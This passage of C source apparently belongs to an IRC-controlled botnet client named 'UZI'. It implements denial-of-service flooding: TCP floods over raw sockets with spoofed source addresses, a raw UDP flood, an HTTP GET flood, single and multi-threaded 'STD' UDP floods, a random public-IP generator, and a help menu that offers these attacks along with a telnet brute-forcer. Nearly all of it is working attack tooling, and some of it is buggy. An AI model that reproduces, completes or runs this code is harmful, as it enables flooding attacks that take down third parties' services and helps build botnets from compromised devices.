599 | Send(sock,"NOTICE %s :7Current status is: %s.\n",sender,disabled?"Disabled":"Enabled and awaiting orders"); | |
600 | return; | |
601 | } | |
602 | if (!disabled) { | |
603 | Send(sock,"NOTICE %s :7Already enabled.\n",sender); | |
604 | return; | |
605 | } | |
606 | if (strcasecmp(dispass,argv[1])) { | |
607 | Send(sock,"NOTICE %s :7Wrong password\n",sender); | |
608 | return; | |
609 | } | |
610 | disabled=0; | |
611 | Send(sock,"NOTICE %s :7Password correct.\n",sender); | |
612 | } | |
613 | void spoof(int sock, char *sender, int argc, char **argv) { | |
614 | char ip[256]; | |
615 | int i, num; | |
616 | unsigned long uip; | |
617 | if (argc != 1) { | |
618 | Send(sock,"NOTICE %s :7Removed all spoofs\n",sender); | |
619 | spoofs=0; | |
620 | spoofsm=0; | |
621 | return; | |
622 | } | |
623 | if (strlen(argv[1]) > 16) { | |
624 | Send(sock,"NOTICE %s :7What kind of subnet address is that? Do something like: 169.40\n",sender); | |
625 | return; | |
626 | } | |
627 | strcpy(ip,argv[1]); | |
628 | if (ip[strlen(ip)-1] == '.') ip[strlen(ip)-1] = 0; | |
629 | for (i=0, num=1;i<strlen(ip);i++) if (ip[i] == '.') num++; | |
630 | num=-(num-4); | |
631 | for (i=0;i<num;i++) strcat(ip,".0"); | |
632 | if (num == 0) spoofsm=1; | |
633 | else spoofsm=pow(256,num); | |
634 | spoofs=uip; | |
635 | } | |
636 | struct udphdr { | |
637 | unsigned short source; | |
638 | unsigned short dest; | |
639 | unsigned short len; | |
640 | unsigned short check; | |
641 | }; | |
642 | struct send_tcp { | |
643 | struct iphdr ip; | |
644 | struct tcphdr tcp; | |
645 | char buf[20]; | |
646 | }; | |
647 | struct pseudo_header { | |
648 | unsigned int source_address; | |
649 | unsigned int dest_address; | |
650 | unsigned char pVageholder; | |
651 | unsigned char protocol; | |
652 | unsigned short tcp_length; | |
653 | struct tcphdr tcp; | |
654 | char buf[20]; | |
655 | }; | |
656 | unsigned int host2ip(char *sender,char *hostname) { | |
657 | static struct in_addr i; | |
658 | struct hostent *h; | |
659 | if((i.s_addr = inet_addr(hostname)) == -1) { | |
660 | if((h = gethostbyname(hostname)) == NULL) { | |
661 | Send(sock, "NOTICE %s :Unable to resolve %s\n", sender,hostname); | |
662 | exit(0); | |
663 | } | |
664 | bcopy(h->h_addr, (char *)&i.s_addr, h->h_length); | |
665 | } | |
666 | return i.s_addr; | |
667 | } | |
668 | in_addr_t getRandomIP(in_addr_t netmask) | |
669 | { | |
670 | in_addr_t tmp = ntohl(ourIP.s_addr) & netmask; | |
671 | return tmp ^ ( rand_cmwc() & ~netmask); | |
672 | } | |
673 | unsigned short csum (unsigned short *buf, int count) | |
674 | { | |
675 | register uint64_t sum = 0; | |
676 | while( count > 1 ) { sum += *buf++; count -= 2; } | |
677 | if(count > 0) { sum += *(unsigned char *)buf; } | |
678 | while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); } | |
679 | return (uint16_t)(~sum); | |
680 | } | |
681 | unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph) | |
682 | { | |
683 | ||
684 | struct tcp_pseudo | |
685 | { | |
686 | unsigned long src_addr; | |
687 | unsigned long dst_addr; | |
688 | unsigned char zero; | |
689 | unsigned char proto; | |
690 | unsigned short length; | |
691 | } pseudohead; | |
692 | unsigned short total_len = iph->tot_len; | |
693 | pseudohead.src_addr=iph->saddr; | |
694 | pseudohead.dst_addr=iph->daddr; | |
695 | pseudohead.zero=0; | |
696 | pseudohead.proto=IPPROTO_TCP; | |
697 | pseudohead.length=htons(sizeof(struct tcphdr)); | |
698 | int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr); | |
699 | unsigned short *tcp = malloc(totaltcp_len); | |
700 | memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo)); | |
701 | memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr)); | |
702 | unsigned short output = csum(tcp,totaltcp_len); | |
703 | free(tcp); | |
704 | return output; | |
705 | } | |
706 | int getHost(unsigned char *toGet, struct in_addr *i) | |
707 | { | |
708 | struct hostent *h; | |
709 | if((i->s_addr = inet_addr(toGet)) == -1) return 1; | |
710 | return 0; | |
711 | } | |
712 | static void printchar(unsigned char **str, int c) { | |
713 | if (str) { | |
714 | **str = c; | |
715 | ++(*str); | |
716 | } | |
717 | else (void)write(1, &c, 1); | |
718 | } | |
719 | static int prints(unsigned char **out, const unsigned char *string, int width, int pad) { | |
720 | register int pc = 0, padchar = ' '; | |
721 | if (width > 0) { | |
722 | register int len = 0; | |
723 | register const unsigned char *ptr; | |
724 | for (ptr = string; *ptr; ++ptr) ++len; | |
725 | if (len >= width) width = 0; | |
726 | else width -= len; | |
727 | if (pad & PAD_ZERO) padchar = '0'; | |
728 | } | |
729 | if (!(pad & PAD_RIGHT)) { | |
730 | for ( ; width > 0; --width) { | |
731 | printchar (out, padchar); | |
732 | ++pc; | |
733 | } | |
734 | } | |
735 | for ( ; *string ; ++string) { | |
736 | printchar (out, *string); | |
737 | ++pc; | |
738 | } | |
739 | for ( ; width > 0; --width) { | |
740 | printchar (out, padchar); | |
741 | ++pc; | |
742 | } | |
743 | return pc; | |
744 | } | |
745 | static int printi(unsigned char **out, int i, int b, int sg, int width, int pad, int letbase) { | |
746 | unsigned char print_buf[PRINT_BUF_LEN]; | |
747 | register unsigned char *s; | |
748 | register int t, neg = 0, pc = 0; | |
749 | register unsigned int u = i; | |
750 | if (i == 0) { | |
751 | print_buf[0] = '0'; | |
752 | print_buf[1] = '\0'; | |
753 | return prints (out, print_buf, width, pad); | |
754 | } | |
755 | if (sg && b == 10 && i < 0) { | |
756 | neg = 1; | |
757 | u = -i; | |
758 | } | |
759 | ||
760 | s = print_buf + PRINT_BUF_LEN-1; | |
761 | *s = '\0'; | |
762 | while (u) { | |
763 | t = u % b; | |
764 | if( t >= 10 ) | |
765 | t += letbase - '0' - 10; | |
766 | *--s = t + '0'; | |
767 | u /= b; | |
768 | } | |
769 | if (neg) { | |
770 | if( width && (pad & PAD_ZERO) ) { | |
771 | printchar (out, '-'); | |
772 | ++pc; | |
773 | --width; | |
774 | } | |
775 | else { | |
776 | *--s = '-'; | |
777 | } | |
778 | } | |
779 | ||
780 | return pc + prints (out, s, width, pad); | |
781 | } | |
782 | static int print(unsigned char **out, const unsigned char *format, va_list args ) { | |
783 | register int width, pad; | |
784 | register int pc = 0; | |
785 | unsigned char scr[2]; | |
786 | for (; *format != 0; ++format) { | |
787 | if (*format == '%') { | |
788 | ++format; | |
789 | width = pad = 0; | |
790 | if (*format == '\0') break; | |
791 | if (*format == '%') goto out; | |
792 | if (*format == '-') { | |
793 | ++format; | |
794 | pad = PAD_RIGHT; | |
795 | } | |
796 | while (*format == '0') { | |
797 | ++format; | |
798 | pad |= PAD_ZERO; | |
799 | } | |
800 | for ( ; *format >= '0' && *format <= '9'; ++format) { | |
801 | width *= 10; | |
802 | width += *format - '0'; | |
803 | } | |
804 | if( *format == 's' ) { | |
805 | register char *s = (char *)va_arg( args, int ); | |
806 | pc += prints (out, s?s:"(null)", width, pad); | |
807 | continue; | |
808 | } | |
809 | if( *format == 'd' ) { | |
810 | pc += printi (out, va_arg( args, int ), 10, 1, width, pad, 'a'); | |
811 | continue; | |
812 | } | |
813 | if( *format == 'x' ) { | |
814 | pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'a'); | |
815 | continue; | |
816 | } | |
817 | if( *format == 'X' ) { | |
818 | pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'A'); | |
819 | continue; | |
820 | } | |
821 | if( *format == 'u' ) { | |
822 | pc += printi (out, va_arg( args, int ), 10, 0, width, pad, 'a'); | |
823 | continue; | |
824 | } | |
825 | if( *format == 'c' ) { | |
826 | scr[0] = (unsigned char)va_arg( args, int ); | |
827 | scr[1] = '\0'; | |
828 | pc += prints (out, scr, width, pad); | |
829 | continue; | |
830 | } | |
831 | } | |
832 | else { | |
833 | out: | |
834 | printchar (out, *format); | |
835 | ++pc; | |
836 | } | |
837 | } | |
838 | if (out) **out = '\0'; | |
839 | va_end( args ); | |
840 | return pc; | |
841 | } | |
842 | ||
843 | int szprintf(unsigned char *out, const unsigned char *format, ...) { | |
844 | va_list args; | |
845 | va_start( args, format ); | |
846 | return print( &out, format, args ); | |
847 | } | |
848 | ||
849 | in_addr_t getRandomPublicIP() { // IP Block, Written by ZH | |
850 | static uint8_t ipState[4] = {0}; | |
851 | ipState[0] = rand() % 224; | |
852 | ipState[1] = rand() % 255; | |
853 | ipState[2] = rand() % 255; | |
854 | ipState[3] = rand() % 255; | |
855 | while( | |
856 | (ipState[0] == 0) || | |
857 | (ipState[0] == 10) || | |
858 | (ipState[0] == 100 && (ipState[1] >= 64 && ipState[1] <= 127)) || | |
859 | (ipState[0] == 127) || | |
860 | (ipState[0] == 169 && ipState[1] == 254) || | |
861 | (ipState[0] == 172 && (ipState[1] <= 16 && ipState[1] <= 31)) || | |
862 | (ipState[0] == 192 && ipState[1] == 0 && ipState[2] == 2) || | |
863 | (ipState[0] == 192 && ipState[1] == 88 && ipState[2] == 99) || | |
864 | (ipState[0] == 192 && ipState[1] == 168) || | |
865 | (ipState[0] == 198 && (ipState[1] == 18 || ipState[1] == 19)) || | |
866 | (ipState[0] == 198 && ipState[1] == 51 && ipState[2] == 100) || | |
867 | (ipState[0] == 203 && ipState[1] == 0 && ipState[2] == 113) || | |
868 | (ipState[0] >= 224) | |
869 | ) | |
870 | { | |
871 | ipState[0] = rand() % 224; | |
872 | ipState[1] = rand() % 255; | |
873 | ipState[2] = rand() % 255; | |
874 | ipState[3] = rand() % 255; | |
875 | } | |
876 | char ip[16] = {0}; | |
877 | szprintf(ip, "%d.%d.%d.%d", ipState[0], ipState[1], ipState[2], ipState[3]); | |
878 | return inet_addr(ip); | |
879 | } | |
880 | void sendTCP(int sock, char *sender, int argc, char **argv) | |
881 | { | |
882 | if (mfork(sender) != 0) return; | |
883 | if (argc < 7) { | |
884 | Send(sock,"PRIVMSG %s :7[QTCP] <target> <port> <secs> <netmask> <flags> <packetsize> <time poll interval> \n",chan); | |
885 | exit(1); | |
886 | } | |
887 | if (atoi(argv[3]) > maxtime) | |
888 | { | |
889 | Send(sock,"PRIVMSG %s :7[TCP] - Invalid time, Max boot time is [%d]!\n",chan, maxtime); | |
890 | exit(1); | |
891 | } | |
892 | if (atoi(argv[6]) > maxSTDpacketsize) | |
893 | { | |
894 | Send(sock,"PRIVMSG %s :7[TCP] - Invalid time, Max packetsize is [%d]!\n",chan, maxSTDpacketsize); | |
895 | exit(1); | |
896 | } | |
897 | ||
898 | char *target = argv[1], *flags = argv[5]; | |
899 | int port = atoi(argv[2]), timeEnd = atoi(argv[3]), spoofit = atoi(argv[4]), packetsize = atoi(argv[6]), pollinterval = atoi(argv[7]); | |
900 | ||
901 | register unsigned int pollRegister; | |
902 | pollRegister = pollinterval; | |
903 | ||
904 | struct sockaddr_in dest_addr; | |
905 | ||
906 | dest_addr.sin_family = AF_INET; | |
907 | if(port == 0) dest_addr.sin_port = rand_cmwc(); | |
908 | else dest_addr.sin_port = htons(port); | |
909 | if(getHost(target, &dest_addr.sin_addr)) return; | |
910 | memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero); | |
911 | ||
912 | int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP); | |
913 | if(!sockfd) | |
914 | { | |
915 | Send(sock,"PRIVMSG %s :7Failed opening raw socket.\n",chan); | |
916 | return; | |
917 | } | |
918 | ||
919 | int tmp = 1; | |
920 | if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0) | |
921 | { | |
922 | Send(sock,"PRIVMSG %s :7Failed setting raw headers mode.\n",chan); | |
923 | return; | |
924 | } | |
925 | ||
926 | in_addr_t netmask; | |
927 | ||
928 | if ( spoofit == 0 ) netmask = ( ~((in_addr_t) -1) ); | |
929 | else netmask = ( ~((1 << (32 - spoofit)) - 1) ); | |
930 | ||
931 | unsigned char packet[sizeof(struct iphdr) + sizeof(struct tcphdr) + packetsize]; | |
932 | struct iphdr *iph = (struct iphdr *)packet; | |
933 | struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr); | |
934 | ||
935 | makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( getRandomIP(netmask) ), IPPROTO_TCP, sizeof(struct tcphdr) + packetsize); | |
936 | ||
937 | tcph->source = rand_cmwc(); | |
938 | tcph->seq = rand_cmwc(); | |
939 | tcph->ack_seq = 0; | |
940 | tcph->doff = 5; | |
941 | ||
942 | if(!strcmp(flags, "all")) | |
943 | { | |
944 | tcph->syn = 1; | |
945 | tcph->rst = 1; | |
946 | tcph->fin = 1; | |
947 | tcph->ack = 1; | |
948 | tcph->psh = 1; | |
949 | } else { | |
950 | unsigned char *pch = strtok(flags, ","); | |
951 | while(pch) | |
952 | { | |
953 | if(!strcmp(pch, "syn")) | |
954 | { | |
955 | tcph->syn = 1; | |
956 | } else if(!strcmp(pch, "rst")) | |
957 | { | |
958 | tcph->rst = 1; | |
959 | } else if(!strcmp(pch, "fin")) | |
960 | { | |
961 | tcph->fin = 1; | |
962 | } else if(!strcmp(pch, "ack")) | |
963 | { | |
964 | tcph->ack = 1; | |
965 | } else if(!strcmp(pch, "psh")) | |
966 | { | |
967 | tcph->psh = 1; | |
968 | } else { | |
969 | Send(sock, "PRIVMSG %s :7Invalid flag [%s]\n", chan, pch); | |
970 | } | |
971 | pch = strtok(NULL, ","); | |
972 | } | |
973 | } | |
974 | ||
975 | tcph->window = rand_cmwc(); | |
976 | tcph->check = 0; | |
977 | tcph->urg_ptr = 0; | |
978 | tcph->dest = (port == 0 ? rand_cmwc() : htons(port)); | |
979 | tcph->check = tcpcsum(iph, tcph); | |
980 | ||
981 | iph->check = csum ((unsigned short *) packet, iph->tot_len); | |
982 | ||
983 | int end = time(NULL) + timeEnd; | |
984 | register unsigned int i = 0; | |
985 | ||
986 | Send(sock,"PRIVMSG %s :7[TCP] packeting [%s].\n",chan,argv[1]); | |
987 | ||
988 | while(1) | |
989 | { | |
990 | sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr)); | |
991 | ||
992 | iph->saddr = htonl( getRandomIP(netmask) ); | |
993 | iph->id = rand_cmwc(); | |
994 | tcph->seq = rand_cmwc(); | |
995 | tcph->source = rand_cmwc(); | |
996 | tcph->check = 0; | |
997 | tcph->check = tcpcsum(iph, tcph); | |
998 | iph->check = csum ((unsigned short *) packet, iph->tot_len); | |
999 | ||
1000 | if(i == pollRegister) | |
1001 | { | |
1002 | if(time(NULL) > end) break; | |
1003 | i = 0; | |
1004 | continue; | |
1005 | } | |
1006 | i++; | |
1007 | } | |
1008 | Send(sock,"PRIVMSG %s :7[TCP] flood against [%s] finished.\n",chan,argv[1]); | |
1009 | } | |
1010 | int socket_connect(char *host, unsigned short int port) { | |
1011 | struct hostent *hp; | |
1012 | struct sockaddr_in addr; | |
1013 | int on = 1, sock; | |
1014 | if ((hp = gethostbyname(host)) == NULL) return 0; | |
1015 | bcopy(hp->h_addr, &addr.sin_addr, hp->h_length); | |
1016 | addr.sin_port = htons(port); | |
1017 | addr.sin_family = AF_INET; | |
1018 | sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP); | |
1019 | setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, (const char *)&on, sizeof(int)); | |
1020 | if (sock == -1) return 0; | |
1021 | if (connect(sock, (struct sockaddr *)&addr, sizeof(struct sockaddr_in)) == -1) return 0; | |
1022 | return sock; | |
1023 | } | |
1024 | ||
1025 | void SendHTTP(char *method, char *host, unsigned short int port, char *path, int timeEnd, int power) { | |
1026 | int socket, i, end = time(NULL) + timeEnd, sendIP = 0; | |
1027 | char request[512], buffer[1]; | |
1028 | for (i = 0; i < power; i++) { | |
1029 | if (fork()) { | |
1030 | while (end > time(NULL)) { | |
1031 | sprintf(request, "%s %s HTTP/1.1\r\nHost: %s\r\nUser-Agent: %s\r\nConnection: close\r\n\r\n", method, path, host, UserAgents[(rand() % 170)]); | |
1032 | socket = socket_connect(host, port); | |
1033 | if (socket != 0) { | |
1034 | write(socket, request, strlen(request)); | |
1035 | read(socket, buffer, 1); | |
1036 | close(socket); | |
1037 | } | |
1038 | } | |
1039 | exit(0); | |
1040 | } | |
1041 | } | |
1042 | } | |
1043 | ||
1044 | void *HTTP(int sock, char *sender, int argc, char **argv) { | |
1045 | ||
1046 | // !* HTTP METHOD TARGET PORT PATH TIME POWER | |
1047 | // !* HTTP GET hackforums.net 80 / 10 100 | |
1048 | if (mfork(sender) != 0) return; | |
1049 | if (argc < 6 || atoi(argv[3]) < 1 || atoi(argv[5]) < 1) { | |
1050 | Send(sock, "NOTICE %s :7[HTTPFLOOD] <method> <target> <port> <path> <time> <power> ~ SMALL HTTPFLOOD WRITTEN BY ZH.\n", sender); | |
1051 | return; | |
1052 | } | |
1053 | SendHTTP(argv[1], argv[2], atoi(argv[3]), argv[4], atoi(argv[5]), atoi(argv[6])); | |
1054 | exit(0); | |
1055 | ||
1056 | } | |
1057 | void rawUDP(int sock, char *sender, int argc, char **argv) { | |
1058 | int flag=1,fd,i; | |
1059 | unsigned long secs; | |
1060 | char *buf=(char*)malloc(65500); | |
1061 | struct hostent *hp; | |
1062 | struct sockaddr_in in; | |
1063 | time_t start=time(NULL); | |
1064 | if (mfork(sender) != 0) return; | |
1065 | if (argc < 2) { | |
1066 | ||
1067 | exit(1); | |
1068 | } | |
1069 | if (atoi(argv[2]) > maxtime) | |
1070 | { | |
1071 | Send(sock,"PRIVMSG %s :7[RAWUDP] - Invalid time, Max boot time is %d!\n",chan, maxtime); | |
1072 | exit(1); | |
1073 | } | |
1074 | secs=atol(argv[2]); | |
1075 | memset((void*)&in,0,sizeof(struct sockaddr_in)); | |
1076 | in.sin_addr.s_addr=host2ip(sender,argv[1]); | |
1077 | in.sin_family = AF_INET; | |
1078 | Send(sock,"PRIVMSG %s :7Packeting %s With RAWUDP.\n",chan,argv[1]); | |
1079 | while(1) { | |
1080 | in.sin_port = rand(); | |
1081 | if ((fd = socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP)) < 0); | |
1082 | else { | |
1083 | flag=1; | |
1084 | ioctl(fd,FIONBIO,&flag); | |
1085 | sendto(fd,buf,65500,0,(struct sockaddr*)&in,sizeof(in)); | |
1086 | close(fd); | |
1087 | } | |
1088 | if (i >= 50) { | |
1089 | if (time(NULL) >= start+secs) | |
1090 | { | |
1091 | break; | |
1092 | } | |
1093 | i=0; | |
1094 | } | |
1095 | i++; | |
1096 | } | |
1097 | close(fd); | |
1098 | exit(0); | |
1099 | } | |
1100 | void move(int sock, char *sender, int argc, char **argv) { | |
1101 | if (argc < 1) { | |
1102 | Send(sock,"PRIVMSG %s :7POINT <server>\n",chan); | |
1103 | exit(1); | |
1104 | } | |
1105 | server=strdup(argv[1]); | |
1106 | changeservers=1; | |
1107 | close(sock); | |
1108 | } | |
1109 | void help(int sock, char *sender, int argc, char **argv) { | |
1110 | if (mfork(sender) != 0) return; | |
1111 | Send(sock,"PRIVMSG %s :7[UZI] - UZI IRC BOT HELP LIST ~WRITTEN BY ZH\n",chan); | |
1112 | Send(sock,"PRIVMSG %s :7[UZI] - QUDP <target> <port (0 for random)> <time> <netmask> <packet size> <poll interval> <sleep check> <sleep time(ms)> ~QUDP QBOT ATTACK\n",chan); sleep(0.2); | |
1113 | Send(sock,"PRIVMSG %s :7[UZI] - RUDP <target> <secs> ~RAW UDP ATTACK \n",chan); sleep(0.2); | |
1114 | Send(sock,"PRIVMSG %s :7[UZI] - QJUNK <target> <port> <secs> ~QJUNK QBOT ATTACK \n",chan); sleep(0.2); | |
1115 | Send(sock,"PRIVMSG %s :7[UZI] - QHOLD <target> <port> <secs> ~QHOLD QBOT ATTACK \n",chan); sleep(0.2); | |
1116 | Send(sock,"PRIVMSG %s :7[UZI] - QTCP <target> <port> <secs> <netmask> <flags> <packetsize> <time poll interval> ~QTCP QBOT ATTACK\n",chan); sleep(0.2); | |
1117 | Send(sock,"PRIVMSG %s :7[UZI] - TSTD <target> <port> <secs> <packet size(1-%d)> <string(RANDOM for makestring)> <threads (1-%d)> ~THREADED STD ATTACK WRITTEN BY ZH\n\n",chan, maxSTDpacketsize, maxthreads); sleep(0.2); | |
1118 | Send(sock,"PRIVMSG %s :7[UZI] - STD <target> <port> <secs> <packet size (1-%d)> <string(RANDOM for makestring)> ~STD ATTACK\n",chan, maxSTDpacketsize); sleep(0.2); | |
1119 | Send(sock,"PRIVMSG %s :7[UZI] - HTTPFLOOD <method> <target> <port> <path> <time> <power> ~SMALL HTTPFLOOD WRITTEN BY ZH.\n",chan); sleep(0.2); | |
1120 | Send(sock,"PRIVMSG %s :7[UZI] - UZIBRUTE <ON/OFF> ~EXTREME TELNET BRUTER WRITTEN BY ZH\n",chan); sleep(0.2); | |
1121 | Send(sock,"PRIVMSG %s :7[UZI] - KILLALL\n",chan); sleep(0.2); | |
1122 | Send(sock,"PRIVMSG %s :7[UZI] - HELP\n",chan); | |
1123 | exit(0); | |
1124 | } | |
1125 | void regstd(int sock, char *sender, int argc, char **argv) | |
1126 | { | |
1127 | if (mfork(sender) != 0) return; | |
1128 | if (argc < 5) { | |
1129 | ||
1130 | Send(sock,"PRIVMSG %s :7[STD] <target> <port> <secs> <packet size(1-%d)> <string(RANDOM for makestring)>\n",chan, maxSTDpacketsize); | |
1131 | exit(1); | |
1132 | ||
1133 | } | |
1134 | if (atoi(argv[3]) > maxtime) | |
1135 | { | |
1136 | Send(sock,"PRIVMSG %s :7[STD] - Invalid time, Max boot time is %d!\n",chan, maxtime); | |
1137 | exit(1); | |
1138 | } | |
1139 | if (atoi(argv[4]) > maxSTDpacketsize) | |
1140 | { | |
1141 | Send(sock,"PRIVMSG %s :7[STD] - Invalid time, Max packetsize is %d!\n",chan, maxSTDpacketsize); | |
1142 | exit(1); | |
1143 | } | |
1144 | else { | |
1145 | setpacketsize = atoi(argv[4]); | |
1146 | } | |
1147 | unsigned long secs; | |
1148 | ||
1149 | int iSTD_Sock; | |
1150 | ||
1151 | iSTD_Sock = socket(AF_INET, SOCK_DGRAM, 0); | |
1152 | ||
1153 | time_t start = time(NULL); | |
1154 | secs = atol(argv[3]); | |
1155 | if (mfork(sender) != 0) return; | |
1156 | if(argv[5] = "RANDOM") | |
1157 | { | |
1158 | char *chokemedaddy = makestring(); | |
1159 | strng2 = chokemedaddy; | |
1160 | } | |
1161 | else | |
1162 | { | |
1163 | char *lolomgursobig = argv[5]; | |
1164 | strng2 = lolomgursobig; | |
1165 | } | |
1166 | Send(sock,"PRIVMSG %s :7[STD]Hitting %s!\n",chan, argv[1]); | |
1167 | Send(sock,"PRIVMSG %s :7[STD]Packet Size: %d\n",chan, setpacketsize); | |
1168 | Send(sock,"PRIVMSG %s :7[STD]String: %s\n",chan, strng2); | |
1169 | ||
1170 | struct sockaddr_in sin; | |
1171 | ||
1172 | struct hostent *hp; | |
1173 | ||
1174 | hp = gethostbyname(argv[1]); | |
1175 | ||
1176 | bzero((char*) &sin,sizeof(sin)); | |
1177 | bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length); | |
1178 | sin.sin_family = hp->h_addrtype; | |
1179 | sin.sin_port = atol(argv[2]); | |
1180 | ||
1181 | unsigned int a = 0; | |
1182 | ||
1183 | while(1){ | |
1184 | if (a >= 50) | |
1185 | { | |
1186 | send(iSTD_Sock, strng2, argv[4], 0); | |
1187 | connect(iSTD_Sock,(struct sockaddr *) &sin, sizeof(sin)); | |
1188 | if (time(NULL) >= start + secs) | |
1189 | { | |
1190 | Send(sock, "PRIVMSG %s :7[STD]Done hitting %s!\n", chan, argv[1]); | |
1191 | close(iSTD_Sock); | |
1192 | exit(0); | |
1193 | } | |
1194 | a = 0; | |
1195 | } | |
1196 | a++; | |
1197 | } | |
1198 | ||
1199 | ||
1200 | } | |
1201 | ||
1202 | void *std_worker(void *args){ | |
1203 | struct thread_args *t_args = (struct thread_args *)args; | |
1204 | connect(t_args->iSTD_Sock,(struct sockaddr *) t_args->sin, sizeof(struct sockaddr)); | |
1205 | unsigned int i = 0; | |
1206 | while (1){ | |
1207 | send(t_args->iSTD_Sock, strng, setpacketsize, 0); | |
1208 | //usleep(3); | |
1209 | } | |
1210 | } | |
1211 | ||
1212 | void threadstd(int sock, char *sender, int argc, char **argv) { | |
1213 | if (mfork(sender) != 0) return; | |
1214 | if (argc < 6) { | |
1215 | Send(sock,"PRIVMSG %s :7[THREADSTD] <target> <port> <secs> <packet size(1-%d)> <string(RANDOM for makestring)> <threads (1-%d)>\n",chan, maxSTDpacketsize, maxthreads); | |
1216 | exit(1); | |
1217 | } | |
1218 | if (atoi(argv[3]) > maxtime) | |
1219 | { | |
1220 | Send(sock,"PRIVMSG %s :7[THREADSTD] - Invalid time, Max boot time is %d!\n",chan, maxtime); | |
1221 | exit(1); | |
1222 | } | |
1223 | if (atoi(argv[4]) > maxSTDpacketsize) | |
1224 | { | |
1225 | Send(sock,"PRIVMSG %s :7[THREADSTD] - Invalid packetsize, Max packetsize is %d!\n",chan, maxSTDpacketsize); | |
1226 | exit(1); | |
1227 | } | |
1228 | else { | |
1229 | setpacketsize = atoi(argv[4]); | |
1230 | } | |
1231 | if (atoi(argv[6]) > maxthreads) | |
1232 | { | |
1233 | Send(sock,"PRIVMSG %s :7[THREADSTD] - Invalid threads, Max amount of threads allowed is %d!\n",chan, maxthreads); | |
1234 | exit(1); | |
1235 | } | |
1236 | else { | |
1237 | threadamount = atoi(argv[6]); | |
1238 | } | |
1239 | ||
1240 | unsigned long secs; | |
1241 | ||
1242 | int iSTD_Sock; | |
1243 | ||
1244 | iSTD_Sock = socket(AF_INET, SOCK_DGRAM, 0); | |
1245 | ||
1246 | time_t start = time(NULL); | |
1247 | secs = atol(argv[3]); | |
1248 | if (mfork(sender) != 0) return; | |
1249 | if(argv[5] = "RANDOM") | |
1250 | { | |
1251 | char *spankmedaddy = makestring(); | |
1252 | strng = spankmedaddy; | |
1253 | } | |
1254 | else | |
1255 | { | |
1256 | char *wooowdaddy = argv[5]; | |
1257 | strng = wooowdaddy; | |
1258 | } | |
1259 | Send(sock,"PRIVMSG %s :7[THREADSTD] Railing %s!\n",chan,argv[1]); | |
1260 | Send(sock,"PRIVMSG %s :7[THREADSTD] Packet Size: %d\n",chan, setpacketsize); | |
1261 | Send(sock,"PRIVMSG %s :7[THREADSTD] String: %s\n",chan, strng); | |
1262 | Send(sock,"PRIVMSG %s :7[THREADSTD] Threads: %d\n",chan, threadamount); | |
1263 | ||
1264 | struct sockaddr_in sin; | |
1265 | ||
1266 | struct hostent *hp; | |
1267 | ||
1268 | hp = gethostbyname(argv[1]); | |
1269 | ||
1270 | bzero((char*) &sin,sizeof(sin)); | |
1271 | bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length); | |
1272 | sin.sin_family = hp->h_addrtype; | |
1273 | sin.sin_port = atol(argv[2]); | |
1274 | ||
1275 | unsigned int i; | |
1276 | pthread_t thread_arr[atoi(argv[6])]; | |
1277 | struct thread_args t_args; | |
1278 | t_args.iSTD_Sock = iSTD_Sock; | |
1279 | t_args.sin = &sin; | |
1280 | for (i = 0; i < atoi(argv[6]); i++){ | |
1281 | pthread_create(&thread_arr[i], NULL, std_worker, &t_args); | |
1282 | } | |
1283 | while(1){ | |
1284 | if (time(NULL) >= start + secs){ | |
1285 | Send(sock, "PRIVMSG %s :7Packeted[%s]\n", chan, argv[1]); | |
1286 | close(iSTD_Sock); | |
1287 | exit(0); | |
1288 | } | |
1289 | } | |
1290 | } | |
1291 | ||
1292 | int listFork() | |
1293 | { | |
1294 | uint32_t parent, *newpids, i; | |
1295 | parent = fork(); | |
1296 | if (parent <= 0) return parent; | |
1297 | numpids++; | |
1298 | newpids = (uint32_t*)malloc((numpids + 1) * 4); | |
1299 | for (i = 0; i < numpids - 1; i++) newpids[i] = pids[i]; | |
1300 | newpids[numpids - 1] = parent; | |
1301 | free(pids); | |
1302 | pids = newpids; | |
1303 | return parent; | |
1304 | } | |
1305 | ||
1306 | void init_rand(uint32_t x) | |
1307 | { | |
1308 | int i; | |
1309 | ||
1310 | Q[0] = x; | |
1311 | Q[1] = x + PHI; | |
1312 | Q[2] = x + PHI + PHI; | |
1313 | ||
1314 | for (i = 3; i < 4096; i++) Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; | |
1315 | } | |
1316 | ||
1317 | void makeRandomStr(unsigned char *buf, int length) | |
1318 | { | |
1319 | int i = 0; | |
1320 | for(i = 0; i < length; i++) buf[i] = (rand_cmwc()%(91-65))+65; | |
1321 | } | |
1322 | ||
1323 | void sendUDP(unsigned char *target, int port, int timeEnd, int spoofit, int packetsize, int pollinterval, int sleepcheck, int sleeptime) | |
1324 | { | |
1325 | struct sockaddr_in dest_addr; | |
1326 | ||
1327 | dest_addr.sin_family = AF_INET; | |
1328 | if(port == 0) dest_addr.sin_port = rand_cmwc(); | |
1329 | else dest_addr.sin_port = htons(port); | |
1330 | if(getHost(target, &dest_addr.sin_addr)) return; | |
1331 | memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero); | |
1332 | ||
1333 | register unsigned int pollRegister; | |
1334 | pollRegister = pollinterval; | |
1335 | ||
1336 | int sock; | |
1337 | char *sender; | |
1338 | ||
1339 | if(spoofit == 32) | |
1340 | { | |
1341 | int sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); | |
1342 | if(!sockfd) | |
1343 | { | |
